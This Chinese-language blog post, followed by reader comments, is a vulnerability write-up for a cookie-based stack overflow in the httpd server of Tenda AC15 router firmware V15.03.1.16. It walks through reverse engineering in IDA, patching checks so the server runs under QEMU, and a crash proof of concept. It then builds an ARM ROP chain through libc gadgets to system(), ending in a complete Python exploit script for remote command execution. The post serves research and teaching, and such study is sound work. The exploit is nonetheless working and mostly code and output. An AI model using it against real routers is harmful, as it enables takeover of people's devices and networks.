漏洞分析
官网上即可获取下载含漏洞版本固件V15.03.1.16,使用binwalk解压,可在目录bin\目录下找到httpd程序,使用IDA打开httpd程序。
根据在IDA中看到的websUrlHandlerDefine等函数,可以判定程序使用的是GoAhead框架,另外在字符串中找到了2.1.8,可以进一步确定程序使用的框架是GoAhead 2.1.8。在github可以下载框架源码。下载源码的目的在于补全一些结构体的定义,方便逆向.
漏洞点位于R7WebsSecurityHandler中,为了更清楚的查看此处代码,我们根据GoAhead针对此处的一些结构体进行声明,并针对一些变量的名称进行一些修改。
小技巧 : IDA中导入C语言声明的结构体.在View-->Open Subviews-->Local Types中可以看到本地已有的结构体,在该窗口中右击insert.可以添加C语言声明的结构体
本程序的分析,添加了以下两个结构体:
struct ringq_t{
unsigned char *buf; /* Holding buffer for data */
unsigned char *servp; /* Pointer to start of data */
unsigned char *endp; /* Pointer to end of data */
unsigned char *endbuf; /* Pointer to end of buffer */
int buflen; /* Length of ring queue */
int maxsize; /* Maximum size */
int increment; /* Growth increment */
}
struct websRec {
ringq_t header; /* Header dynamic string */
__time_t since; /* Parsed if-modified-since time */
char* cgiVars; /* CGI standard variables */
char* cgiQuery; /* CGI decoded query string */
__time_t timestamp; /* Last transaction with browser */
int timeout; /* Timeout handle */
char ipaddr[32]; /* Connecting ipaddress */
char type[64]; /* Mime type */
char *dir; /* Directory containing the page */
char *path; /* Path name without query */
char *url; /* Full request url */
char *host; /* Requested host */
char *lpath; /* Cache local path name */
char *query; /* Request query */
char *decodedQuery; /* Decoded request query */
char *authType; /* Authorization type (Basic/DAA) */
char *password; /* Authorization password */
char *userName; /* Authorization username */
char *cookie; /* Cookie string */
char *userAgent; /* User agent (browser) */
char *protocol; /* Protocol (normally HTTP) */
char *protoVersion; /* Protocol version */
int sid; /* Socket id (handler) */
int listenSid; /* Listen Socket id */
int port; /* Request port number */
int state; /* Current state */
int flags; /* Current flags -- see above */
int code; /* Request result code */
int clen; /* Content length */
int wid; /* Index into webs */
char *cgiStdin; /* filename for CGI stdin */
int docfd; /* Document file descriptor */
int numbytes; /* Bytes to transfer to browser */
int written; /* Bytes actually transferred */
void (*writeSocket)(struct websRec *wp);
}
简单修改完毕,查看漏洞点:
在sscanf时,cookie长度没有进行限制,因此造成栈溢出.
为了抵达此处,还需满足前边的一些条件:

即url值不能为空,不能为\,长度不能是1,且不能是以上字符
满足以上条件进入if后,url还不能是index.html.
因此可构造以下数据包触发崩溃:
GET /goform/execCommand HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
Cookie: password=“A”*501
仿真模拟
复制qemu-arm-static到解压后的固件目录下,尝试用qemu运行httpd程序:
$ sudo chroot . ./qemu-arm-static ./bin/httpd
init_core_dump 1784: rlim_cur = 0, rlim_max = -1
init_core_dump 1794: open core dump success
init_core_dump 1803: rlim_cur = 5120, rlim_max = 5120
Yes:
****** WeLoveLinux******
Welcome to ...
发现卡顿到此处,在IDA中定位这个字符串:

推测可能是check_network()这个函数没有通过卡死在这里了.但仔细看了以下,这个函数并没有返回什么关键信息,只是一个简单检查,因此可以直接patch掉.
另外,继续向下运行还会遇到一个检查函数ConnectCfm,也直接patch掉即可,patch完的效果如图:

patch完再进行模拟:
$ sudo chroot . ./qemu-arm-static ./httpd
[sudo] password for island:
init_core_dump 1784: rlim_cur = 0, rlim_max = -1
init_core_dump 1794: open core dump success
init_core_dump 1803: rlim_cur = 5120, rlim_max = 5120
Yes:
****** WeLoveLinux******
Welcome to ...
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
[httpd][debug]----------------------------webs.c,157
Unsupported setsockopt level=1 optname=13
httpd listen ip = 255.255.255.255 port = 80
根据提示信息推测应该是没有获取到真正的本机ip,通过httpd listen定位:

经过回溯,发现这个ip来自于g_lan_ip这个全局变量,而这个全局变量来自于以下部分:

大概的流程就是去寻找br0这个网络接口的IP,并在这个ip进行监听.但是我本机目前没有br0这个网络接口,所以获取的ip地址不对,为了解决这个问题其实可以有两个思路来做:
- 对源程序进行
patch,将br0这个接口更改为本机的ens160这个网卡 - 或者在本机新建一个桥接网卡
br0
两个思路应该都是可行的,为了方便我采用第二个方法,因为这一步骤我们在之前配置环境的时候做过了,具体可参考这个链接
在配置好br0网卡后再进行仿真:
$ sudo chroot . ./qemu-arm-static ./httpd
init_core_dump 1784: rlim_cur = 0, rlim_max = -1
init_core_dump 1794: open core dump success
init_core_dump 1803: rlim_cur = 5120, rlim_max = 5120
Yes:
****** WeLoveLinux******
Welcome to ...
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
[httpd][debug]----------------------------webs.c,157
Unsupported setsockopt level=1 optname=13
httpd listen ip = 192.168.5.179 port = 80
webs: Listening for HTTP requests at address 192.168.5.179
可以看到,此时模拟已经成功模拟起来了.
写一个简单的poc测试:
import requests
ip = "192.168.5.179"
url = "http://%s/goform/execCommand"%ip
cookie = {"Cookir":"password="+"A"*501}
ret = requests.get(url=url,cookies=cookie)
print ret.text
运行poc,可以看到崩溃:
httpd listen ip = 192.168.5.179 port = 80
webs: Listening for HTTP requests at address 192.168.5.179
Unsupported setsockopt level=1 optname=13
connect: No such file or directory
Connect to server failed.
[1] 16261 segmentation fault (core dumped) sudo chroot . ./qemu-arm-static ./httpd
漏洞利用
使用以下命令模拟httpd程序并尝试进入调试模式:
$ sudo chroot . ./qemu-arm-static -g 1234 ./httpd
使用pwndbg尝试调试上面的poc:

发现崩溃点在0x6623954,尝试bt寻找调用路径,最后发现是在R7WebsSecurityHandler这个函数的此处:

如果流程跑到这里继续执行的话可能无法控制pc值进而无法控制函数流,因此考虑能否绕过不执行这里,很幸运,我们找到了这里:

如果这个if不满足,则不会跳转到sub_2c568.这里是检验url里是否包含一些特征字符,如果包含则不用进入下面if流程直接return.但是直接在url中包含这几个特征字符串是不行的,因为此时的url在我们栈溢出的时候已经被覆盖掉了,因此还是要在cookie中进行修改
poc简单更改来绕过这个限制:
from pwn import *
import requests ip = "192.168.5.179"
url = "http://%s/goform/execCommand"%ip
cookie = {"Cookir":"password="+cyclic(500)+".gifAAAAAAAAAAAAA"}
ret = requests.get(url=url,cookies=cookie)
print ret.text
再次进行调试:

发现已经可以控制PC值了,并计算出偏移为444.
偏移已知,pc也可控,下面可以进行rop了
httpd里找不到好的gadget,直接去libc里面找:
$ ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"
....
0x00040cb8 : mov r0, sp ; blx r3
....
此时如果将r3赋值为system的地址,将要执行的命令放在栈上,就可以执行任意命令了,因此再找一条控制r3的gadget:
$ ROPgadget --binary ./lib/libc.so.0 --only "pop"
....
0x00018298 : pop {r3, pc}
....
因此payload按如下输入即可:
cyclic(444) + p32(libc_base_addr + 0x00019298) + p32(system_addr) + p32(libc_base_addr + 0x00040cb8) + "touch ./abcd"
为了知道system地址,还需要去查一下libc基地址:

最后进行一下调试:

发现已经跑去执行system("touch ./abcd") 了,但是可能因为我使用的是qemu-user模拟,所以没有成功创建这个文件.
最终的exp:
from pwn import *
import requests
context.binary = "./httpd"
context.log_level = "debug"
libc = ELF("./lib/libc.so.0")
system_offset = libc.symbols["system"]
libc_base_addr = 0xf65e5000
system_addr= libc_base_addr + system_offset
ip = "192.168.5.179"
url = "http://%s/goform/execCommand"%ip
cookie = {"Cookir":"password="+cyclic(444) + ".gif" + flat(libc_base_addr + 0x00018298, system_addr, libc_base_addr + 0x00040cb8)+ "touch ./abcd" }
ret = requests.get(url=url,cookies=cookie)
print ret.text
转载
分享
@luyj**** @luyj****
@luyj**** 浏览器不能访问是正常的,因为并没有把web服务完整模拟起来,尝试直接调试打exp看看
@qin****@gmail.co 然后你可以去找找g_lan_ip这个变量具体是在哪个二进制里被赋值的,再跟一跟就可以找到具体来源是br0的ip地址。调试时间比较久了,大概是这个过程,有问题可以再交流。
请问“大概的流程就是去寻找br0这个网络接口的IP”是怎么判断的,我跟踪g_lan_ip发现来源于外部引入的函数
您好,固件模拟成功后无法访问[http://%s/goform/execCommand]
我使用的固件是在tenda官网下载的US_AC15V1.0BR_V15.03.1.16_multi_TD01.zip,在固件根目录下没有找到exeCommand相关文件,请问可以将您的固件分享一下吗